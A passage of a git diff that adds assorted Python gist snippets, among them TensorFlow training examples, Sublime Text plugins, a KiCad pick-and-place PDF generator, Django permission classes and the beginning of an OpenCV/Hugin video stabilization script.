diff --git a/hard-gists/14f34c2b8153d9b4f336df8535b3416a/snippet.py b/hard-gists/14f34c2b8153d9b4f336df8535b3416a/snippet.py
new file mode 100644
index 00000000..352683c0
--- /dev/null
+++ b/hard-gists/14f34c2b8153d9b4f336df8535b3416a/snippet.py
@@ -0,0 +1,89 @@
+# if error writing `export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:/usr/local/cuda/lib64:/usr/local/cuda/extras/CUPTI/lib64"`
+
+
+import tensorflow as tf
+from tensorflow.examples.tutorials.mnist import input_data
+
+def init_weights(shape, name):
+    return tf.Variable(tf.random_normal(shape, stddev=0.01), name=name)
+
+# Step 1 - Add some items to graph section of Tensorboard
+def model(X, w_h, w_h2, w_o, p_keep_input, p_keep_hidden):
+    # this line adds layer name into the graph section for visualization
+    with tf.name_scope("layer_1"):
+        X = tf.nn.dropout(X, p_keep_input)
+        h = tf.nn.relu(tf.matmul(X, w_h))
+    
+    # this line adds layer name into the graph section for visualization
+    with tf.name_scope("layer_2"):
+        h = tf.nn.dropout(h, p_keep_hidden)
+        h2 = tf.nn.relu(tf.matmul(h, w_h2))
+
+    # this line adds layer name into the graph section for visualization
+    with tf.name_scope("layer_3"):
+        h2 = tf.nn.dropout(h2, p_keep_hidden)
+        return tf.matmul(h2, w_o)
+
+mnist = input_data.read_data_sets("MNIST_data/", one_hot=True)
+trX, trY, teX, teY = mnist.train.images, mnist.train.labels, mnist.test.images, mnist.test.labels
+
+X = tf.placeholder("float", [None, 784], name="X")
+Y = tf.placeholder("float", [None, 10], name="Y")
+
+w_h = init_weights([784, 625], "w_h")
+w_h2 = init_weights([625, 625], "w_h2")
+w_o = init_weights([625, 10], "w_o")
+
+# Step 2 - Add histogram summaries for weights into the histogram section for visualization
+# These are clickable explorable line graphs in Tensorboard
+tf.histogram_summary("w_h_summ", w_h)
+tf.histogram_summary("w_h2_summ", w_h2)
+tf.histogram_summary("w_o_summ", w_o)
+
+p_keep_input = tf.placeholder("float", name="p_keep_input")
+p_keep_hidden = tf.placeholder("float", name="p_keep_hidden")
+
+py_x = model(X, w_h, w_h2, w_o, p_keep_input, p_keep_hidden)
+
+# Step 3 - Add cost function into the events section of Tensorboard with
+# tf.name_scope and give it a specfic name
+with tf.name_scope("cost_function"):
+    cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(py_x, Y))
+    train_op = tf.train.RMSPropOptimizer(0.001, 0.9).minimize(cost)
+    
+    # This section adds the cost_function to the summary section of Tensorboard
+    tf.scalar_summary("cost_function", cost)
+
+# Step 4 - Add accuracy function into the events section of Tensorboard with
+# tf.name_scope and give it a specfic name
+with tf.name_scope("accuracy"):
+    correct_pred = tf.equal(tf.argmax(Y, 1), tf.argmax(py_x, 1)) # Count correct predictions
+    acc_op = tf.reduce_mean(tf.cast(correct_pred, "float")) # Cast boolean to float to average
+    
+    # This section adds the accuracy_function to the summary section of Tensorboard
+    tf.scalar_summary("accuracy", acc_op)
+
+#Step 5 - Here we add define where the Tensorboard logs get stored and pass them to active session
+with tf.Session() as sess:
+    
+    # In this section we create a log writer.
+    # if you use terminal and run this command to start: 'tensorboard --logdir=logs'
+    writer = tf.train.SummaryWriter("logs", sess.graph)
+    # This grabs all the added Tensorboard functions 
+    merged = tf.merge_all_summaries()
+
+    tf.initialize_all_variables().run()
+
+    for i in range(100):
+        for start, end in zip(range(0, len(trX), 128), range(128, len(trX)+1, 128)):
+            sess.run(train_op, feed_dict={X: trX[start:end], Y: trY[start:end],
+                                          p_keep_input: 0.8, p_keep_hidden: 0.5})
+        
+        # Here in the list we pass 'merged' to the session to get the data from each layer
+        summary, acc = sess.run([merged, acc_op], feed_dict={X: teX, Y: teY,
+                                          p_keep_input: 1.0, p_keep_hidden: 1.0})
+       
+        # Here we write the summary data to Tensorboard                                  
+        writer.add_summary(summary, i)
+        
+        print(i, acc)
\ No newline at end of file
diff --git a/hard-gists/1507152/._snippet.py b/hard-gists/1507152/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1507152/._snippet.py differ
diff --git a/hard-gists/1507152/snippet.py b/hard-gists/1507152/snippet.py
new file mode 100644
index 00000000..eaf8e6d3
--- /dev/null
+++ b/hard-gists/1507152/snippet.py
@@ -0,0 +1,84 @@
+#!/usr/bin/env python
+#
+# Bug Prediction script inspired by:
+# http://google-engtools.blogspot.com/2011/12/bug-prediction-at-google.html
+# Roman Bogorodskiy <bogorodskiy@gmail.com>
+#
+
+from __future__ import print_function
+
+import argparse
+import math
+import re
+import sys
+import time
+from operator import itemgetter
+
+import git
+
+
+def calc_score(commit_ts, first_commit_ts, now_ts):
+    t = 1 - float(now_ts - commit_ts) / (now_ts - first_commit_ts)
+    assert 0 <= t <= 1
+    return 1.0 / (1 + math.exp(-12 * t + 12))
+
+
+def calculate_scores(files, first_commit_ts, now_ts):
+    result = {}
+
+    for f in files.iterkeys():
+        file_score = 0
+        for ts in files[f]:
+            file_score += calc_score(ts, first_commit_ts, now_ts)
+
+        result[f] = file_score
+
+    return result
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument('-e', dest='expr', type=str,
+            default="Security:",
+            help="Regular expression to search for in commit log")
+    parser.add_argument('-l', dest='limit', type=int,
+            default=None, help="Number of results to show")
+    parser.add_argument('path', type=str, nargs='?',
+            default=".", help="Repository path")
+
+    args = parser.parse_args()
+
+    try:
+        repo = git.Repo(args.path)
+    except git.exc.InvalidGitRepositoryError:
+        print("Invalid git repository: %s" % args.path, file=sys.stderr)
+        sys.exit(1)
+
+    filter_re = re.compile(args.expr)
+
+    dangerous_files = {}
+    commits = matches = 1
+
+    for commit in repo.iter_commits('main'):
+        if commits == 1 or commits % 100 == 0:
+            print(commits, end='')
+        elif commits % 10:
+            print(".", end='')
+
+        if filter_re.search(commit.message):
+            matches += 1
+            for f in commit.stats.files.keys():
+                if f not in dangerous_files:
+                    dangerous_files[f] = [commit.committed_date, ]
+                else:
+                    dangerous_files[f].append(commit.committed_date)
+        commits += 1
+    print(commits)
+
+    first_commit_ts = commit.committed_date
+
+    scores = calculate_scores(dangerous_files,
+            first_commit_ts, int(time.time()))
+
+    for i in sorted(scores.items(), key=itemgetter(1),
+            reverse=True)[:args.limit]:
+        print (i[0], i[1])
\ No newline at end of file
diff --git a/hard-gists/1509946/._snippet.py b/hard-gists/1509946/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1509946/._snippet.py differ
diff --git a/hard-gists/1509946/snippet.py b/hard-gists/1509946/snippet.py
new file mode 100644
index 00000000..ecd8832f
--- /dev/null
+++ b/hard-gists/1509946/snippet.py
@@ -0,0 +1,12 @@
+# encoding: utf-8
+
+import sublime, sublime_plugin
+
+class DetectSpecialCharacters(sublime_plugin.EventListener):
+    def on_load(self, view):
+        sublime.status_message("detect_special_characters is active")
+    def on_modified(self, view):
+            # find no-break space
+            special_characters = view.find_all(u"\u00A0")
+            if len(special_characters) > 0:
+                sublime.error_message("ohhh noose! detected a NO-BREAK SPACE (U+00A0)")
diff --git a/hard-gists/1516095/._snippet.py b/hard-gists/1516095/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1516095/._snippet.py differ
diff --git a/hard-gists/1516095/snippet.py b/hard-gists/1516095/snippet.py
new file mode 100644
index 00000000..956877f6
--- /dev/null
+++ b/hard-gists/1516095/snippet.py
@@ -0,0 +1,21 @@
+import mice
+
+# Show an array of all servers
+mice.m.getAllServers()
+
+# Create a new server
+mice.m.newServer()
+
+# Grab the new server object (for me this was server 2)
+s2 = mice.m.getServer(2)
+
+# You can check the default configuration
+mice.m.getDefaultConf()
+
+# Then set the config you need (port is one higher than default which my server 1 was running on)
+s2.setConf('port','64739')
+s2.setConf('registername','Base Channel Name')
+s2.setConf('welcometext','<br />Welcome to my new channel!<br />')
+
+# Start it up!
+s2.start()
\ No newline at end of file
diff --git a/hard-gists/1519543/._snippet.py b/hard-gists/1519543/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1519543/._snippet.py differ
diff --git a/hard-gists/1519543/snippet.py b/hard-gists/1519543/snippet.py
new file mode 100644
index 00000000..69127d1f
--- /dev/null
+++ b/hard-gists/1519543/snippet.py
@@ -0,0 +1,113 @@
+# This script allows you to do multiple find/replace operations in one pass. The find/replace
+# pairs are defined in a file (defaults to ~/.st2_multiple_find_replace) using the format
+#
+# find <separator> replace
+
+# By default, the separator is the hash-pointer (=>), but it can be changed if
+# necessary (see below). To use multiple find and replace, save this code to a file in
+# your Packages/User folder using whatever name you like. I use multiple_find_replace.py.
+# Edit your user key bindings and pick whatever key combinations you want to trigger 
+# these operations. On Mac OS X, I chose COMMAND+OPTION+M E to edit and COMMAND+OPTION+M R
+# to replace. The actual key bindings are:
+#
+# { "keys": ["super+alt+m", "f"], "command": "multiple_find_replace", "args": {"operation": "find"} },
+# { "keys": ["super+alt+m", "r"], "command": "multiple_find_replace", "args": {"operation": "replace"} }
+#
+# When you issue the multiple_find_replace command, if the file does not exist, it will
+# be created and opened for editing. If the file does exist, it will be parsed for 
+# find/replace pairs and the current file will be the operation's subject. In order to
+# edit your find/replace pairs, issue the edit_multiple_find_replace command, which
+# will either open or activate the search term file.
+#
+# To change the separator used in the search term file, include a comment at the top of
+# the file like this:
+#
+# separator: ==
+#
+# changing the double equal to whatever ever separator you want to use. The script will
+# then use that separator to split the line when parsing the find/replace pairs.
+#
+# All find/replace operations are done in a single edit, so a single undo returns the
+# subject text to its original state. Also of importance is the pairs are processed
+# in the order they appear in the file.
+#
+# At present, the find/replace operations work against the entire buffer. A future
+# enhancement would be to operate against a selection only.
+
+import sublime, sublime_plugin
+import os
+
+class MultipleFindReplaceCommand(sublime_plugin.WindowCommand):
+    def run(self, operation):
+        self.file_name = os.path.expanduser('~/.st2_multiple_find_replace')
+        self.separator_key = 'separator:'
+        self.separator = '=>'
+        self.lines = None
+
+        self.ensure_multiple_find_replace_file()
+
+        if operation == 'find':
+            self.find()
+        else:
+            self.replace()
+
+
+    def ensure_multiple_find_replace_file(self):
+        if not os.path.exists(self.file_name):
+            contents = "# Put one find/replace pair on each line, separated by a separator. For example:\n"
+            contents += "\n"
+            contents += "ReplaceThis => WithThis\n"
+            contents += "\n"
+            contents += "# The default separator is =>. To change it, put the following line at the top\n"
+            contents += "# of this file, replacing the double equal with whatever you want the separator\n"
+            contents += "# to be:\n"
+            contents += "\n"
+            contents += "# separator: ==\n"
+
+            with open(self.file_name, 'a') as the_file:
+                the_file.write(contents)
+
+
+    def find(self):
+        self.window.open_file(self.file_name)
+
+
+    def replace(self):
+        self.load_file()
+
+        view = self.window.active_view()
+        edit = view.begin_edit()
+
+        for line in self.lines:
+            if line.startswith('#'):
+                continue
+
+            try:
+                find, replace = line.split(self.separator)
+            except:
+                continue
+            
+            find = find.strip()
+            replace = replace.strip()
+
+            matches = view.find_all(find)
+            matches.reverse()
+
+            for region in matches:
+                view.replace(edit, region, replace)
+
+        view.end_edit(edit)
+
+
+    def load_file(self):
+        input_file = open(self.file_name, 'r')
+        self.lines = input_file.readlines()
+        input_file.close()
+
+        for line in self.lines:
+            if line.startswith('#'):
+                pos = line.find(self.separator_key)
+                if pos > 0:
+                    junk, separator = line.split(self.separator_key)
+                    self.separator = separator.strip()
+                    break
diff --git a/hard-gists/1521059/._snippet.py b/hard-gists/1521059/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1521059/._snippet.py differ
diff --git a/hard-gists/1521059/snippet.py b/hard-gists/1521059/snippet.py
new file mode 100644
index 00000000..3a3b3b62
--- /dev/null
+++ b/hard-gists/1521059/snippet.py
@@ -0,0 +1,71 @@
+import os
+import sys
+import vlc
+import pygame
+
+def callback(self, player):
+
+	print
+	print 'FPS =',  player.get_fps()
+	print 'time =', player.get_time(), '(ms)'
+	print 'FRAME =', .001 * player.get_time() * player.get_fps()
+
+if len( sys.argv )< 2 or len( sys.argv )> 3:
+	print 'Usage: vlctest <file_name>'
+else:
+	# Enable in Windows to use directx renderer instead of windib
+	#os.environ["SDL_VIDEODRIVER"] = "directx"
+
+	pygame.init()
+	screen = pygame.display.set_mode((800,600),pygame.RESIZABLE)
+	pygame.display.get_wm_info()
+
+	print "Using %s renderer" % pygame.display.get_driver()
+	print 'Playing: %s' % sys.argv[1]
+
+	# Get path to movie specified as command line argument
+	movie = os.path.expanduser(sys.argv[1])
+	# Check if movie is accessible
+	if not os.access(movie, os.R_OK):
+		print('Error: %s file not readable' % movie)
+		sys.exit(1)
+
+	# Create instane of VLC and create reference to movie.
+	vlcInstance = vlc.Instance()
+	media = vlcInstance.media_new(movie)
+
+	# Create new instance of vlc player
+	player = vlcInstance.media_player_new()
+
+	# Add a callback
+	em = player.event_manager()
+	em.event_attach(vlc.EventType.MediaPlayerTimeChanged, \
+		callback, player)
+
+	# Pass pygame window id to vlc player, so it can render its contents there.
+	win_id = pygame.display.get_wm_info()['window']
+	if sys.platform == "linux2": # for Linux using the X Server
+		player.set_xwindow(win_id)
+	elif sys.platform == "win32": # for Windows
+		player.set_hwnd(win_id)
+	elif sys.platform == "darwin": # for MacOS
+		player.set_agl(win_id)
+
+	# Load movie into vlc player instance
+	player.set_media(media)
+
+	# Quit pygame mixer to allow vlc full access to audio device (REINIT AFTER MOVIE PLAYBACK IS FINISHED!)
+	pygame.mixer.quit()
+
+	# Start movie playback
+	player.play()
+
+	while player.get_state() != vlc.State.Ended:
+		for event in pygame.event.get():
+			if event.type == pygame.QUIT:
+				sys.exit(2)
+			if event.type == pygame.KEYDOWN:
+				print "OMG keydown!"
+			if event.type == pygame.MOUSEBUTTONDOWN:
+				print "we got a mouse button down!"
+
diff --git a/hard-gists/1522bcdb5b05365c0222/._snippet.py b/hard-gists/1522bcdb5b05365c0222/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1522bcdb5b05365c0222/._snippet.py differ
diff --git a/hard-gists/1522bcdb5b05365c0222/snippet.py b/hard-gists/1522bcdb5b05365c0222/snippet.py
new file mode 100644
index 00000000..67e5ec08
--- /dev/null
+++ b/hard-gists/1522bcdb5b05365c0222/snippet.py
@@ -0,0 +1,51 @@
+import maya.cmds as cmds
+
+#import edgeLord
+#edgeLord.run()
+
+def run():	
+	#get selected edgeloop
+	edgeLoop = cmds.ls(selection=True)
+	#get verticles in the edge loop
+	vertLoop = cmds.polyListComponentConversion(edgeLoop, fromEdge=True, toVertex=True)
+	#sort individual verticles into a list
+	vertLoop = cmds.ls(vertLoop, flatten=True)
+
+	#open undo chunk so entire operation is a single action
+	cmds.undoInfo(openChunk = True)
+
+	#soften the mesh normals
+	mesh = cmds.listRelatives(parent=1)
+	cmds.polySoftEdge(mesh, angle=180)
+
+	#run on each vertex on the edgeloop
+	for vert in vertLoop:
+		#unlock the normal of the vertex
+		cmds.polyNormalPerVertex(vert, unFreezeNormal=True)
+		#get the normals of the vertex on the loop
+		vertNormals = list(cmds.polyNormalPerVertex(vert, query=True, xyz=True))
+		#get only the first three vectors
+		vertNormals = vertNormals[:3]
+
+		# select the neighboring verticles using the declared function below
+		vertNeighbors(vert, vertLoop)
+
+		#set their normal angle to match the vertex on the loop
+		cmds.polyNormalPerVertex(xyz=vertNormals)
+
+	#reselect the edge loops
+	cmds.select(edgeLoop)
+
+	#close undo chunk, operation is done
+	cmds.undoInfo(closeChunk = True)
+
+# function to select a vertex's perpendicular neighbors 
+def vertNeighbors(vert, vertLoop):
+	#find the verticles connected to this vertex by edges
+	connectedEdges = cmds.polyListComponentConversion(vert, toEdge=True)
+	connectedVerts = cmds.polyListComponentConversion(connectedEdges, toVertex = True)
+
+	#select the connected verticles, then deselect the verticles on the loop
+	cmds.select(connectedVerts, replace = True)
+	cmds.select(vertLoop, deselect = True)
+	
diff --git a/hard-gists/1526444/._snippet.py b/hard-gists/1526444/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1526444/._snippet.py differ
diff --git a/hard-gists/1526444/snippet.py b/hard-gists/1526444/snippet.py
new file mode 100644
index 00000000..1daa8753
--- /dev/null
+++ b/hard-gists/1526444/snippet.py
@@ -0,0 +1,7 @@
+from django.db import models
+
+optional = dict(blank=True, null=True)
+
+class Foo(models.Model):
+    bar = models.CharField()
+    baz = models.CharField(**optional)
diff --git a/hard-gists/152f15b2dadca9a74039aeab944714af/._snippet.py b/hard-gists/152f15b2dadca9a74039aeab944714af/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/152f15b2dadca9a74039aeab944714af/._snippet.py differ
diff --git a/hard-gists/152f15b2dadca9a74039aeab944714af/snippet.py b/hard-gists/152f15b2dadca9a74039aeab944714af/snippet.py
new file mode 100644
index 00000000..7a34911b
--- /dev/null
+++ b/hard-gists/152f15b2dadca9a74039aeab944714af/snippet.py
@@ -0,0 +1,181 @@
+#!/usr/bin/python2
+import re
+import os
+import numpy as np
+import pcbnew
+
+import matplotlib.pyplot as plt
+from matplotlib.patches import Rectangle, Circle, Ellipse, FancyBboxPatch
+
+
+def create_board_figure(pcb, bom_row, layer=pcbnew.F_Cu):
+    qty, value, footpr, highlight_refs = bom_row
+
+    plt.figure(figsize=(5.8, 8.2))
+    ax = plt.subplot("111", aspect="equal")
+
+    color_pad1 = "lightgray"
+    color_pad2 = "#AA0000"
+    color_pad3 = "#CC4444"
+    color_bbox1 = "None"
+    color_bbox2 = "#E9AFAF"
+
+    # get board edges (assuming rectangular, axis aligned pcb)
+    edge_coords = []
+    for d in pcb.GetDrawings():
+        if (d.GetLayer() == pcbnew.Edge_Cuts):
+            edge_coords.append(d.GetStart())
+            edge_coords.append(d.GetEnd())
+    edge_coords = np.asarray(edge_coords) * 1e-6
+    board_xmin, board_ymin = edge_coords.min(axis=0)
+    board_xmax, board_ymax = edge_coords.max(axis=0)
+
+    # draw board edges
+    rct = Rectangle((board_xmin, board_ymin), board_xmax - board_xmin, board_ymax - board_ymin, angle=0)
+    rct.set_color("None")
+    rct.set_edgecolor("black")
+    rct.set_linewidth(3)
+    ax.add_patch(rct)
+
+    # add title
+    ax.text(board_xmin + .5 * (board_xmax - board_xmin), board_ymin - 0.5,
+            "%dx %s, %s" % (qty, value, footpr), wrap=True,
+            horizontalalignment='center', verticalalignment='bottom')\
+
+    # add ref list
+    ax.text(board_xmin + .5 * (board_xmax - board_xmin), board_ymax + 0.5,
+            ", ".join(highlight_refs), wrap=True,
+            horizontalalignment='center', verticalalignment='top')
+
+    # draw parts
+    for m in pcb.GetModules():
+        if m.GetLayer() != layer:
+            continue
+        ref, center = m.GetReference(), np.asarray(m.GetCenter()) * 1e-6
+        highlight = ref in highlight_refs
+
+        # bounding box
+        mrect = m.GetFootprintRect()
+        mrect_pos = np.asarray(mrect.GetPosition()) * 1e-6
+        mrect_size = np.asarray(mrect.GetSize()) * 1e-6
+        rct = Rectangle(mrect_pos, mrect_size[0], mrect_size[1])
+        rct.set_color(color_bbox2 if highlight else color_bbox1)
+        rct.set_zorder(-1)
+        if highlight:
+            rct.set_linewidth(.1)
+            rct.set_edgecolor(color_pad2)
+        ax.add_patch(rct)
+
+        # center marker
+        if highlight:
+            plt.plot(center[0], center[1], ".", markersize=mrect_size.min(), color=color_pad2)
+
+        # plot pads
+        for p in m.Pads():
+            pos = np.asarray(p.GetPosition()) * 1e-6
+            size = np.asarray(p.GetSize()) * 1e-6 * .9
+
+            is_pin1 = p.GetPadName() == "1" or p.GetPadName() == "A1"
+            shape = p.GetShape()
+            offset = p.GetOffset()  # TODO: check offset
+
+            # pad rect
+            angle = p.GetOrientation() * 0.1
+            cos, sin = np.cos(np.pi / 180. * angle), np.sin(np.pi / 180. * angle)
+            dpos = np.dot([[cos, -sin], [sin, cos]], -.5 * size)
+
+            if shape == 1:
+                rct = Rectangle(pos + dpos, size[0], size[1], angle=angle)
+            elif shape == 2:
+                rct = Rectangle(pos + dpos, size[0], size[1], angle=angle)
+            elif shape == 0:
+                rct = Ellipse(pos, size[0], size[1], angle=angle)
+            else:
+                print("Unsupported pad shape")
+                continue
+            rct.set_linewidth(0)
+            rct.set_color(color_pad2 if highlight else color_pad1)
+            rct.set_zorder(1)
+            # highlight pin1
+            if highlight and is_pin1:
+                rct.set_color(color_pad3)
+                rct.set_linewidth(.1)
+                rct.set_edgecolor(color_pad2)
+            ax.add_patch(rct)
+
+    plt.xlim(board_xmin, board_xmax)
+    plt.ylim(board_ymax, board_ymin)
+
+    plt.axis('off')
+
+
+def natural_sort(l):
+    """
+    Natural sort for strings containing numbers
+    """
+    convert = lambda text: int(text) if text.isdigit() else text.lower()
+    alphanum_key = lambda key: [convert(c) for c in re.split('([0-9]+)', key)]
+    return sorted(l, key=alphanum_key)
+
+
+def generate_bom(pcb, filter_layer=None):
+    """
+    Generate BOM from pcb layout.
+    :param filter_layer: include only parts for given layer
+    :return: BOM table (qty, value, footprint, refs)
+    """
+
+    # build grouped part list
+    part_groups = {}
+    for m in pcb.GetModules():
+        # filter part by layer
+        if filter_layer is not None and filter_layer != m.GetLayer():
+            continue
+        # group part refs by value and footprint
+        value = m.GetValue()
+        try:
+            footpr = str(m.GetFPID().GetFootprintName())
+        except:
+            footpr = str(m.GetFPID().GetLibItemName())
+        group_key = (value, footpr)
+        refs = part_groups.setdefault(group_key, [])
+        refs.append(m.GetReference())
+
+    # build bom table, sort refs
+    bom_table = []
+    for (value, footpr), refs in part_groups.items():
+        line = (len(refs), value, footpr, natural_sort(refs))
+        bom_table.append(line)
+
+    # sort table by reference prefix and quantity
+    def sort_func(row):
+        qty, _, _, rf = row
+        ref_ord = {"R": 3, "C": 3, "L": 1, "D": 1, "J": -1, "P": -1}.get(rf[0][0], 0)
+        return -ref_ord, -qty
+    bom_table = sorted(bom_table, key=sort_func)
+
+    return bom_table
+
+
+if __name__ == "__main__":
+    import argparse
+    from matplotlib.backends.backend_pdf import PdfPages
+
+    parser = argparse.ArgumentParser(description='KiCad PCB pick and place assistant')
+    parser.add_argument('file', type=str, help="KiCad PCB file")
+    args = parser.parse_args()
+
+    # build BOM
+    print("Loading %s" % args.file)
+    pcb = pcbnew.LoadBoard(args.file)
+    bom_table = generate_bom(pcb, filter_layer=pcbnew.F_Cu)
+
+    # for each part group, print page to PDF
+    fname_out = os.path.splitext(args.file)[0] + "_picknplace.pdf"
+    with PdfPages(fname_out) as pdf:
+        for i, bom_row in enumerate(bom_table):
+            print("Plotting page (%d/%d)" % (i+1, len(bom_table)))
+            create_board_figure(pcb, bom_row, layer=pcbnew.F_Cu)
+            pdf.savefig()
+            plt.close()
+    print("Output written to %s" % fname_out)
diff --git a/hard-gists/1534135a419bb0b957b9/._snippet.py b/hard-gists/1534135a419bb0b957b9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1534135a419bb0b957b9/._snippet.py differ
diff --git a/hard-gists/1534135a419bb0b957b9/snippet.py b/hard-gists/1534135a419bb0b957b9/snippet.py
new file mode 100644
index 00000000..5ffeb39e
--- /dev/null
+++ b/hard-gists/1534135a419bb0b957b9/snippet.py
@@ -0,0 +1,73 @@
+import tensorflow as tf
+import numpy as np
+import math
+#import pandas as pd
+#import sys
+
+input = np.array([[2.0, 1.0, 1.0, 2.0],
+                 [-2.0, 1.0, -1.0, 2.0],
+                 [0.0, 1.0, 0.0, 2.0],
+                 [0.0, -1.0, 0.0, -2.0],
+                 [0.0, -1.0, 0.0, -2.0]])
+
+# Code here for importing data from file
+
+noisy_input = input + .2 * np.random.random_sample((input.shape)) - .1
+output = input
+
+# Scale to [0,1]
+scaled_input_1 = np.divide((noisy_input-noisy_input.min()), (noisy_input.max()-noisy_input.min()))
+scaled_output_1 = np.divide((output-output.min()), (output.max()-output.min()))
+# Scale to [-1,1]
+scaled_input_2 = (scaled_input_1*2)-1
+scaled_output_2 = (scaled_output_1*2)-1
+
+input_data = scaled_input_2
+output_data = scaled_output_2
+
+# Autoencoder with 1 hidden layer
+n_samp, n_input = input_data.shape 
+n_hidden = 2
+
+x = tf.placeholder("float", [None, n_input])
+# Weights and biases to hidden layer
+Wh = tf.Variable(tf.random_uniform((n_input, n_hidden), -1.0 / math.sqrt(n_input), 1.0 / math.sqrt(n_input)))
+bh = tf.Variable(tf.zeros([n_hidden]))
+h = tf.nn.tanh(tf.matmul(x,Wh) + bh)
+# Weights and biases to hidden layer
+Wo = tf.transpose(Wh) # tied weights
+bo = tf.Variable(tf.zeros([n_input]))
+y = tf.nn.tanh(tf.matmul(h,Wo) + bo)
+# Objective functions
+y_ = tf.placeholder("float", [None,n_input])
+cross_entropy = -tf.reduce_sum(y_*tf.log(y))
+meansq = tf.reduce_mean(tf.square(y_-y))
+train_step = tf.train.GradientDescentOptimizer(0.05).minimize(meansq)
+
+init = tf.initialize_all_variables()
+sess = tf.Session()
+sess.run(init)
+
+n_rounds = 5000
+batch_size = min(50, n_samp)
+
+for i in range(n_rounds):
+    sample = np.random.randint(n_samp, size=batch_size)
+    batch_xs = input_data[sample][:]
+    batch_ys = output_data[sample][:]
+    sess.run(train_step, feed_dict={x: batch_xs, y_:batch_ys})
+    if i % 100 == 0:
+        print i, sess.run(cross_entropy, feed_dict={x: batch_xs, y_:batch_ys}), sess.run(meansq, feed_dict={x: batch_xs, y_:batch_ys})
+
+print "Target:"
+print output_data
+print "Final activations:"
+print sess.run(y, feed_dict={x: input_data})
+print "Final weights (input => hidden layer)"
+print sess.run(Wh)
+print "Final biases (input => hidden layer)"
+print sess.run(bh)
+print "Final biases (hidden layer => output)"
+print sess.run(bo)
+print "Final activations of hidden layer"
+print sess.run(h, feed_dict={x: input_data})
diff --git a/hard-gists/1545255/._snippet.py b/hard-gists/1545255/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1545255/._snippet.py differ
diff --git a/hard-gists/1545255/snippet.py b/hard-gists/1545255/snippet.py
new file mode 100644
index 00000000..50079143
--- /dev/null
+++ b/hard-gists/1545255/snippet.py
@@ -0,0 +1,42 @@
+""" User Django Rest Framework to check to see if an authenticated user 
+is in a particular group
+
+Usage::
+
+    from api.group_permissions import GroupAPIGETPermission
+    class SearchProductView(View):
+    
+        permissions = (IsAuthenticated, GroupAPIGETPermission,)    
+
+"""
+
+from django.contrib.auth.models import Group
+
+from djangorestframework.permissions import _403_FORBIDDEN_RESPONSE, BasePermission
+
+class GroupBasePermission(BasePermission):
+    
+    group_name = ""
+    
+    def check_permission(self, user):
+        """
+        Should simply return, or raise a 403 response.
+        """
+        try:
+            user.groups.get(name=self.group_name)    
+        except Group.DoesNotExist:
+            raise _403_FORBIDDEN_RESPONSE
+
+class GroupAPIGETPermission(GroupBasePermission):
+    """
+        Checks to see if a user is in a particular group
+    """
+    
+    group_name = "API GET"
+    
+class GroupAPIPOSTPermission(GroupBasePermission):
+    """
+        Checks to see if a user is in a particular group
+    """
+
+    group_name = "API POST"    
\ No newline at end of file
diff --git a/hard-gists/1551619/._snippet.py b/hard-gists/1551619/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1551619/._snippet.py differ
diff --git a/hard-gists/1551619/snippet.py b/hard-gists/1551619/snippet.py
new file mode 100644
index 00000000..518adb4f
--- /dev/null
+++ b/hard-gists/1551619/snippet.py
@@ -0,0 +1,361 @@
+#!/usr/bin/env python
+
+""" Video stabilization with OpenCV (>=2.3) and Hugin
+
+Adrien Gaidon
+INRIA - 2012
+
+TODO: add cropping, clean-up and improve doc-strings
+"""
+
+
+import sys
+import os
+import shutil
+import tempfile
+import subprocess
+
+import numpy as np
+
+import cv2
+import hsi
+
+
+def exec_shell(cmd_line, raise_on_err=False):
+    """ Execute a shell statement (as a string 'cmd_line')
+    in a subprocess and return (stdout, stderr) results
+
+    if 'raise_on_err': raise AssertionError if something was dumped to stderr
+    """
+    out, err = subprocess.Popen(
+        cmd_line,
+        shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE
+    ).communicate()
+    assert not (raise_on_err and err), \
+            "Error: cmd=%s, stderr=%s" % (cmd_line, err)
+    return out.strip(), err.strip()
+
+
+def pto_gen(img_fns, hfov=50, out_pto="project.pto"):
+    """ Generate a Hugin .pto project file
+
+    Parameters
+    ----------
+    img_fns: list,
+             the (ordered) full paths to the video frames
+
+    hfov: int, optional, default: 50,
+          horizontal field of view in degrees
+          (around 50 is ok for most non-fish-eye cameras)
+
+    out_pto: string, optional, default: 'project.pto',
+             output path to the generated panotools .pto file
+
+    Notes
+    -----
+    Suitable as input for further tools such as the cpfind control-point generator.
+
+    Inspired from pto_gen
+    (http://hugin.sourceforge.net/docs/html/pto__gen_8cpp-source.html)
+    but with some hacks to correct the generated m-line in the header.
+
+    Uses the Hugin python scripting interface (http://wiki.panotools.org/Hugin_Scripting_Interface)
+    """
+    # projection type: 0 == rectilinear (2 == equirectangular)
+    projection = 0
+    assert projection >= 0, "Invalid projection number (%d)" % projection
+    assert 1 <= hfov <= 360, "Invalid horizontal field of view (%d)" % hfov
+    # hugin Panorama object
+    pano = hsi.Panorama()
+    # add the images in order
+    for img_fn in img_fns:
+        src_img = hsi.SrcPanoImage(img_fn)
+        src_img.setProjection(projection)
+        src_img.setHFOV(hfov)
+        src_img.setExifCropFactor(1.0)
+        pano.addImage(src_img)
+    # check we added all of them
+    n_inserted = pano.getNrOfImages()
+    assert n_inserted == len(img_fns), "Didn't insert all images (%d < %d)" % \
+            (n_inserted, len(img_fns))
+    # output the .pto file
+    pano.writeData(hsi.ofstream(out_pto + '.tmp'))  # same as pano.printPanoramaScript(...)
+    # some bug in header: rewrite it manually (TODO through hsi?)
